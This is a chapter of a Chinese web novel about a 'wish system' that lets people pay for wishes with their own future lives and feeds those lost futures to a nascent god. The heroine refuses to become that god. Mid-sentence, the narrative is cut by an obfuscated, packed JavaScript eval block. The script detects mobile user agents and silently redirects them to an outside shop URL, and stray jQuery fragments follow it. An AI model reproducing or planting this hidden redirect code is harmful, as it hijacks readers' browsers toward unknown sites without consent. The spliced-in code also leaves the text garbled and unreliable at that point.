凌晨零点十三分,文化园外所有人的手机同时刷新。
原先只有两个选项的白色页面换了标题。
【愿望系统·公测版】
【基本规则:谁许愿,谁承价。】
【不转嫁,不共债,不以无关者代偿。】
页面下方嵌着一段视频。画面取自地下剧场,谢明烛站在黑色神簿前,亲手写下“谁许愿,谁应诉;谁得利,谁答价”。
视频只保留了前半句。
“谁许愿,谁承担。”
她的名字紧跟着出现在画面右下角。
【规则提出人:谢明烛。】
唐婧将页面从头录到尾:“你什么时候同意做规则提出人了?”
“没有。”
“它把‘应诉’剪成了‘承担’,连你的字都改了。”
原本的规则要求许愿人说明自己做过什么、得到了什么,代价是否应该成立。愿望系统删掉了审理,只留下付款。
只要愿意付,任何愿都可以许。
参与人数已经从三万涨到十二万。每刷新一次,数字都会跳过一大截,许多人还在文化园门口直播自己的首次试愿。
页面承诺,提交愿望后先显示代价,只有再次确认才会生效。第一批参与者很快发现,代价确实只落在许愿人身上。
没有父母、伴侣和孩子。
也没有所谓的随机陌生人。
“这不是挺公平吗?”警戒线外有人说,“自己想要什么,自己拿东西换,关别人什么事?”
“至少比以前那种拿老婆孩子挡灾强。”
“她刚才写的不就是这个意思?”
说话的人指了指屏幕上的谢明烛。
很快,有人当场提交了愿望。
许愿的是一名六十多岁的男人。他妻子患病后已经很久认不出他,今晚住在附近的康养中心。他把手机举给直播镜头看,愿望只有一句话。
【让她再认出我一次。】
系统用了不到三秒便给出代价。
【愿价:三年后的你,将失去与她有关的一日记忆。】
【该代价只由本人承担。】
男人盯着屏幕看了一会儿,按下确认。
“就一天。”他说,“三年以后,还不知道我们两个谁在。”
系统显示愿望已成。
他当场拨通视频电话。护工把手机放到病床边,女人看了他很久,忽然准确叫出了他的名字。
男人没有说话,低下头捂住了脸。
直播间里瞬间涌进几万条评论。
“这才是真正的等价交换。”
“没伤害别人,为什么不能许?”
“系统甚至提前告诉了他代价。”
“这比医院、保险和所有承诺都可靠。”
系统参与人数开始暴涨。
宁照夜站在台阶上,看着视频里相认的夫妻:“这就是我最初想做的事。”
谢停云看向她:“用未来换现在?”
“让许愿人自己决定,不拿别人填债。”宁照夜停了片刻,“但我当年写过,愿价不能越过本人能够理解的时间。”
“多远算越过?”
“至少他得知道,付价时的自己还认不认今天的决定。”
那个男人三年后也许仍然愿意忘掉一天。
也可能妻子早已去世,他只靠剩下的记忆生活,再也不愿交出任何一日。系统不会等到那时重新问他。
它已经拿到了现在的同意。
唐婧找到页面最下方的用户条款。条款没有隐藏,甚至特意用了比其他文字更大的字体。
【签约时,未来身份视为本人,许愿人有权一并授权。】
【履约时,未来身份视为愿价承担者,不得以人格变化、记忆变化及意愿变化申请撤销。】
两句话单独看都说得通。
放在一起,意思却完全不同。
签字时,未来的自己与现在是同一个人,所以现在可以替他同意。
付价时,未来的自己又成了独立的承担者,即使后悔,也不能推翻过去的决定。
“它想怎么认,就怎么认。”唐婧将条款截下来,“需要授权时算同一个人,需要申诉时又不是了。”
系统页面忽然弹出提示。
【检测到恶意曲解。】
【未来身份并非他人。】
【本人应对自身选择负责。】
“还会听。”唐婧抬头看向周围,“谁在后台?”
顾闻川仍被数十张诉纸跟着,脸色比刚才更加难看:“愿社没有这套系统。”
“宋仪真呢?”谢明烛问。
“她只负责春祭平台。”
宋仪真站在调查人员旁边,没有否认:“原平台已经被接管。我没有权限关闭,也查不到系统核心。”
愿社养了九十七年的名字和愿,如今离开会馆,自己长出了一套新的规则。
它不再需要栖水堂、神簿和春祭主持人。甚至不需要愿社继续藏在地下,只要有人愿意许愿,它便能在人间运行。
页面再次更新。
【常见问题:若许愿人在愿价履行前死亡,是否牵连家人?】
【不会。】
【未履行愿价将转入“未尽人生池”,不向亲友追偿。】
这条规则立刻得到大量称赞。
没有遗债,没有血亲代偿。人死债清,剩下的代价由系统自行处理,看起来比任何愿契都干净。
谢明烛点开“未尽人生池”。
页面上出现一个空白人形。它没有脸,胸口悬着一颗透明的心,里面已经积起很浅的一层金色。
每有人许下一个延后履行的愿,金色便增加一点。
【池中内容:未使用的寿命、未发生的选择、已放弃的可能人生。】
【用途:维持系统运行。】
闻烬生看了一会儿:“人死以后没有付完的代价,都进这里?”
“还有活人主动舍掉的未来。”谢明烛说。
不想结婚的人,可以放弃未来某段亲密关系。
只想成功的人,可以放弃一次尚未出现的退路。
希望亲人活下来的人,也可以拿十年后的健康、记忆和寿命交换。
那些人生没有真正发生过,很难有人证明自己失去了什么。系统便把它们当成无主之物,收进同一个人形里。
未尽人生池已经积满了脚踝。
参与人数突破一百万。
每一个人都觉得自己只舍弃了一点未来。所有舍弃的未来合在一起,却正在养出一个完整的人形。
秦满仰头看着屏幕:“它是谁?”
页面立刻回答:
【尚未命名。】
【请继续参与公测,共同完善承愿者。】
宁照夜脸色变了:“它把暂寄位改成了未来池。”
以前的无主名来自死人、失踪者和被抹去的人。现在的系统不必等人失名,它从每一个活人身上提前切下一段没有发生的人生。
数量足够以后,它会得到寿命、记忆、关系和无数可能。
它将比百名会馆里的新神更完整。
沈蘅看向谢明烛:“把页面关掉不行吗?”
“页面只是入口。”唐婧说,“现在到处都有。网页、直播间、小程序,连短信链接都能进。”
“那就告诉所有人别许。”
“刚才那个人的妻子确实认出他了。”
沈蘅不说话了。
愿望不是假的。
代价也没有藏。
正因为它真的能让一个病人短暂清醒,能让失去机会的人翻身,能救下今晚就可能死去的人,才不会有人因为一句“以后也许后悔”停下来。
每个人都觉得,未来的自己应该理解现在的难处。
闻烬生的手机忽然亮了。
【为你推荐愿望:恢复伤口,重获不老之身。】
【愿价:五年后的你,将承担本次及此后所有伤痛。】
【不涉及任何他人。】
谢明烛看见了:“想要吗?”
“想。”
“那为什么不点?”
闻烬生把页面关掉:“现在的我想少疼一会儿,五年后的我未必欠我。”
“他也是你。”
“所以等他到了,再让他自己选。”
系统很快又弹出一条提示。
【未来身份无法独立许愿。】
闻烬生直接关机。
秦满问:“关机有用吗?”
“看着清静。”
谢明烛的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781812|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机也在此时亮起。
她收到的不是治疗,也不是长生。
【为你推荐愿望:立即归还所有被夺姓名。】
【预计受益:九千四百三十一人。】
沈蘅下意识靠近一步。唐婧也看见了页面,呼吸微微停住。
文化园地下仍有大量姓名没有查清。有人已经死去,有人失踪多年,还有人被登记成同一个编号,连最基本的归属都无法判断。
系统却承诺,可以立即全部归还。
谢明烛点开愿价。
页面短暂空白,随后出现一行金字。
【愿价由未来身份承担。】
【未来身份名称:人间新神。】
【职责:接收未尽人生池,回应公共愿望,承担无人认领之愿债。】
没有牵连闻烬生、唐婧或者任何无关者。
代价只由未来的谢明烛承担。
她今天点下确认,九千多个名字便能立刻回到人间。未来某一刻,她会被未尽人生池填满,成为所有人都可以继续许愿的新神。
页面下方还有一句提示。
【该身份仍为本人,不构成他人代偿。】
沈蘅盯着“立即归还”四个字:“真的能还吗?”
“能。”宁照夜说,“它已经拿到了第八层的所有记录。”
“那她只要以后做神?”
宁照夜没有回答。
“只要”两个字太轻了。
唐婧看向谢明烛:“别点。它故意把九千个人摆在你面前。”
系统立即弹出新的说明。
【接受愿望,不等于立即入神。】
【许愿人仍可在未来身份形成前正常生活。】
闻烬生问:“什么时候形成?”
【当公共愿池达到完整人身标准。】
未尽人生池已经涨到了人形膝盖。
参与人数两百七十万。
照这个速度,所谓的未来或许不是十年后,也不是五年后。
可能就在今晚。
谢明烛没有关闭页面,只问:“他们的名字归还以后,愿债归谁?”
系统回答得很快。
【由人间新神暂存。】
“本人能拒绝自己的名字被立刻归还吗?”
【归名属于普遍善意,无需逐一确认。】
“归还到哪里?”
【归还至最近可用身份。】
“没有身份的人呢?”
【由人间新神代持。】
她问到这里,沈蘅已经明白。
系统说归还九千姓名,并不等于逐个找到原主,问他们是否愿意认回。找不到人的名字,仍然会被塞进一个共同位置。
只是这个位置不再叫百名会馆。
叫谢明烛。
“拒绝。”她说。
页面停顿了两秒。
【确认拒绝九千四百三十一人立即归名?】
“确认。”
她按下去。
手机屏幕没有关闭。
文化园外所有直播页面却同时跳出一条公告。
【规则提出人谢明烛,已拒绝公共愿望。】
【愿望内容:归还全部被夺姓名。】
【拒绝理由:未填写。】
周围很快有人认出她。
“她为什么拒绝?”
“不是说她一直在帮人找名字吗?”
“代价又没让别人付。”
“她自己都不愿意承担,凭什么要求我们为自己的愿望负责?”
镜头开始朝这边转。
闻烬生撑开已经破损的长伞,挡住最靠近的手机。谢明烛没有躲,只重新点开拒绝页面,在理由栏里写了一句。
【他们的名字,不是我的神位。】
提交之后,系统没有删除。
它把这句话放到了公告最下方。
几秒后,页面新增了一项公众选择。
【是否支持谢明烛成为人间新神?】
【支持。】
【暂缓。】
仍然没有拒绝。
票数开始上涨。
未尽人生池中的空白人形,也在同一时刻抬起了头。
它原本没有脸。
现在,眉眼处出现了谢明烛的轮廓。